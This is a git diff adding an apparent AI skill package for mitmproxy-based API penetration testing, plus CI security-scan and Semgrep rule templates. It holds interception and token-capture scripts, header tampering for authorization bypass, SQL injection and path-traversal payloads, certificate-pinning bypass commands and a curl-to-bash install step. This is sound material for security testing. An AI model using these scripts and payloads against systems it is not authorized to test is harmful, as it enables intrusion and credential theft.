+[ ] 6. Test for common API vulnerabilities (OWASP API Top 10) +[ ] 7. Export traffic as HAR for further analysis +[ ] 8. Document findings with request/response examples + +Work through each step systematically. Check off completed items. + +### Workflow 3: Automated API Traffic Recording + +For capturing and analyzing API traffic at scale: + +1. Start mitmdump with flow capture: + ```bash + mitmdump -w api-traffic.flow --mode regular + ``` +2. Run automated tests or manual app interaction +3. Stop mitmdump (Ctrl+C) to save flows +4. Replay captured traffic: + ```bash + # Replay to server + mitmdump -nc -r api-traffic.flow + + # Replay with modifications via script + mitmdump -s replay-script.py -r api-traffic.flow + ``` +5. Export to HAR format for analysis: + ```bash + # Using Python API + python3 -c "from mitmproxy.io import FlowReader; from mitmproxy.tools.dump import DumpMaster; + import sys; [print(flow.request.url) for flow in FlowReader(open('api-traffic.flow', 'rb')).stream()]" + ``` + +### Workflow 4: Python Scripting for API Testing + +For automated security testing with custom logic: + +1. Create Python addon script (`api-test.py`): + ```python + from mitmproxy import http + + class APISecurityTester: + def request(self, flow: http.HTTPFlow) -> None: + # Modify requests on-the-fly + if "api.example.com" in flow.request.pretty_url: + # Test for authorization bypass + flow.request.headers["X-User-ID"] = "1" + + def response(self, flow: http.HTTPFlow) -> None: + # Analyze responses + if flow.response.status_code == 200: + if "admin" in flow.response.text: + print(f"[!] Potential privilege escalation: {flow.request.url}") + + addons = [APISecurityTester()] + ``` +2. Run mitmproxy with script: + ```bash + mitmproxy -s api-test.py + # Or for automation + mitmdump -s api-test.py -w results.flow + ``` +3. Review automated findings and captured traffic +4. Export results for reporting + +### Workflow 5: SSL/TLS Certificate Pinning Bypass + +For testing mobile apps with certificate pinning: + +1. Install mitmproxy CA certificate on device +2. Use certificate unpinning tools or framework modifications: + - Android: Frida script for SSL unpinning + - iOS: SSL Kill Switch or similar tools +3. Configure app traffic through mitmproxy +4. Alternatively, use reverse proxy mode: + ```bash + mitmproxy --mode reverse:https://api.example.com --listen-host 0.0.0.0 --listen-port 443 + ``` +5. Modify /etc/hosts to redirect API domain to mitmproxy +6. Intercept and analyze traffic normally + +## Operating Modes + +mitmproxy supports multiple deployment modes: + +**Regular Proxy Mode** (default): +```bash +mitmproxy --mode regular --listen-port 8080 +``` +Client configures proxy settings explicitly. + +**Transparent Proxy Mode** (invisible to client): +```bash +mitmproxy --mode transparent --listen-port 8080 +``` +Requires iptables/pf rules to redirect traffic. + +**Reverse Proxy Mode** (sits in front of server): +```bash +mitmproxy --mode reverse:https://api.example.com --listen-port 443 +``` +mitmproxy acts as the server endpoint. + +**Upstream Proxy Mode** (chain proxies): +```bash +mitmproxy --mode upstream:http://corporate-proxy:8080 +``` +Routes traffic through another proxy. + +## Certificate Installation + +Install mitmproxy CA certificate for HTTPS interception: + +**Browser/Desktop:** +1. Start mitmproxy and configure proxy settings +2. Visit http://mitm.it +3. Download certificate for your platform +4. Install in system/browser certificate store + +**Android:** +1. Push certificate to device: `adb push ~/.mitmproxy/mitmproxy-ca-cert.cer /sdcard/` +2. Settings → Security → Install from SD card +3. Select mitmproxy certificate + +**iOS:** +1. Email certificate or host on web server +2. Install profile on device +3. Settings → General → About → Certificate Trust Settings +4. Enable trust for mitmproxy certificate + +## Common Patterns + +### Pattern 1: API Authentication Testing + +Test authentication mechanisms and token handling: + +```python +# auth-test.py +from mitmproxy import http + +class AuthTester: + def __init__(self): + self.tokens = [] + + def request(self, flow: http.HTTPFlow): + # Capture auth tokens + if "authorization" in flow.request.headers: + token = flow.request.headers["authorization"] + if token not in self.tokens: + self.tokens.append(token) + print(f"[+] Captured token: {token[:20]}...") + + # Test for missing authentication + if "api.example.com" in flow.request.url: + flow.request.headers.pop("authorization", None) + print(f"[*] Testing unauthenticated: {flow.request.path}") + +addons = [AuthTester()] +``` + +### Pattern 2: API Parameter Fuzzing + +Fuzz API parameters for injection vulnerabilities: + +```python +# fuzz-params.py +from mitmproxy import http + +class ParamFuzzer: + def request(self, flow: http.HTTPFlow): + if flow.request.method == "POST" and "api.example.com" in flow.request.url: + # Clone and modify request + original_body = flow.request.text + payloads = ["' OR '1'='1", "", "../../../etc/passwd"] + + for payload in payloads: + # Modify parameters and test + # (Implementation depends on content-type) + print(f"[*] Testing payload: {payload}") + +addons = [ParamFuzzer()] +``` + +### Pattern 3: GraphQL API Testing + +Inspect and test GraphQL APIs: + +```python +# graphql-test.py +from mitmproxy import http +import json + +class GraphQLTester: + def request(self, flow: http.HTTPFlow): + if "/graphql" in flow.request.path: + try: + data = json.loads(flow.request.text) + query = data.get("query", "") + print(f"[+] GraphQL Query:\n{query}") + + # Test for introspection + if "__schema" not in query: + introspection = {"query": "{__schema{types{name}}}"} + print(f"[*] Testing introspection") + except: + pass + +addons = [GraphQLTester()] +``` + +### Pattern 4: HAR Export for Analysis + +Export traffic as HTTP Archive for analysis: + +```bash +# Export flows to HAR format +mitmdump -s export-har.py -r captured-traffic.flow + +# export-har.py +from mitmproxy import http, ctx +import json + +class HARExporter: + def done(self): + har_entries = [] + # Build HAR structure + # (Simplified - use mitmproxy's built-in HAR addon) + ctx.log.info(f"Exported {len(har_entries)} entries") + +addons = [HARExporter()] +``` + +Or use built-in addon: +```bash +mitmdump --set hardump=./traffic.har +``` + +## Security Considerations + +- **Sensitive Data Handling**: Captured traffic may contain credentials, tokens, PII. Encrypt and secure stored flows. Never commit flow files to version control +- **Access Control**: Restrict access to mitmproxy instance. Use authentication for mitmweb (--web-user/--web-password flags) +- **Audit Logging**: Log all intercepted traffic and modifications for security auditing and compliance +- **Compliance**: Ensure proper authorization before intercepting production traffic. Comply with GDPR, PCI-DSS for sensitive data +- **Safe Defaults**: Use isolated testing environments. Avoid intercepting production traffic without explicit authorization + +## Integration Points + +### Penetration Testing Workflow + +1. Reconnaissance: Identify API endpoints via mitmproxy +2. Authentication testing: Capture and analyze auth tokens +3. Authorization testing: Modify user IDs, roles, permissions +4. Input validation: Inject payloads to test for vulnerabilities +5. Business logic: Test workflows for logical flaws +6. Export findings as HAR for reporting + +### CI/CD Integration + +Run automated API security tests: + +```bash +# Run mitmdump with test script in CI +mitmdump -s api-security-tests.py --anticache -w test-results.flow & +PROXY_PID=$! + +# Run API tests through proxy +export HTTP_PROXY=http://localhost:8080 +export HTTPS_PROXY=http://localhost:8080 +pytest tests/api_tests.py + +# Stop proxy and analyze results +kill $PROXY_PID +python3 analyze-results.py test-results.flow +``` + +### Mobile App Security Testing + +Standard workflow for iOS/Android apps: +1. Configure device to use mitmproxy +2. Install CA certificate +3. Bypass SSL pinning if needed +4. Exercise app functionality +5. Analyze API security (OWASP Mobile Top 10) +6. Document API vulnerabilities + +## Advanced Features + +### Traffic Filtering + +Filter displayed traffic by expression: + +```bash +# Show only API calls +mitmproxy --view-filter '~d api.example.com' + +# Show only POST requests +mitmproxy --view-filter '~m POST' + +# Show responses with specific status +mitmproxy --view-filter '~c 401' + +# Combine filters +mitmproxy --view-filter '~d api.example.com & ~m POST' +``` + +### Request/Response Modification + +Modify traffic using built-in mappers: + +```bash +# Replace request headers +mitmproxy --modify-headers '/~u example/Authorization/Bearer fake-token' + +# Replace response body +mitmproxy --modify-body '/~s & ~b "error"/success' +``` + +### WebSocket Interception + +Intercept and modify WebSocket traffic: + +```python +# websocket-test.py +from mitmproxy import websocket + +class WebSocketTester: + def websocket_message(self, flow): + message = flow.messages[-1] + print(f"[+] WebSocket: {message.content[:100]}") + + # Modify messages + if message.from_client: + message.content = message.content.replace(b"user", b"admin") + +addons = [WebSocketTester()] +``` + +## Troubleshooting + +### Issue: SSL Certificate Errors + +**Solution**: Ensure mitmproxy CA certificate is properly installed and trusted: +```bash +# Verify certificate location +ls ~/.mitmproxy/ + +# Regenerate certificates if needed +rm -rf ~/.mitmproxy/ +mitmproxy # Regenerates on startup +``` + +### Issue: Mobile App Not Sending Traffic Through Proxy + +**Solution**: +- Verify WiFi proxy configuration +- Check firewall rules aren't blocking proxy port +- Ensure mitmproxy is listening on correct interface (0.0.0.0) +- Test with browser first to verify proxy works + +### Issue: Certificate Pinning Blocking Interception + +**Solution**: Use SSL unpinning tools: +```bash +# Android with Frida +frida -U -l universal-android-ssl-pinning-bypass.js -f com.example.app + +# Or modify app to disable pinning (development builds) +``` + +### Issue: Cannot Intercept HTTP/2 or HTTP/3 + +**Solution**: mitmproxy supports HTTP/2 by default. For HTTP/3: +```bash +# Enable HTTP/3 support (experimental) +mitmproxy --set http3=true +``` + +## OWASP API Security Top 10 Testing + +Use mitmproxy to test for OWASP API Security Top 10 vulnerabilities: + +- **API1: Broken Object Level Authorization** - Modify object IDs in requests +- **API2: Broken Authentication** - Test token validation, session management +- **API3: Broken Object Property Level Authorization** - Test for mass assignment +- **API4: Unrestricted Resource Consumption** - Test rate limiting, pagination +- **API5: Broken Function Level Authorization** - Modify roles, escalate privileges +- **API6: Unrestricted Access to Sensitive Business Flows** - Test business logic +- **API7: Server Side Request Forgery** - Inject URLs in parameters +- **API8: Security Misconfiguration** - Check headers, CORS, error messages +- **API9: Improper Inventory Management** - Enumerate undocumented endpoints +- **API10: Unsafe Consumption of APIs** - Test third-party API integrations + +## References + +- [mitmproxy Documentation](https://docs.mitmproxy.org/) +- [mitmproxy GitHub](https://github.com/mitmproxy/mitmproxy) +- [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) +- [mitmproxy Addon Examples](https://github.com/mitmproxy/mitmproxy/tree/main/examples) diff --git a/skills/appsec/api-mitmproxy/assets/.gitkeep b/skills/appsec/api-mitmproxy/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/appsec/api-mitmproxy/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/appsec/api-mitmproxy/assets/ci-config-template.yml b/skills/appsec/api-mitmproxy/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/appsec/api-mitmproxy/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/appsec/api-mitmproxy/assets/rule-template.yaml b/skills/appsec/api-mitmproxy/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/appsec/api-mitmproxy/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/appsec/api-mitmproxy/references/EXAMPLE.md b/skills/appsec/api-mitmproxy/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/appsec/api-mitmproxy/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) 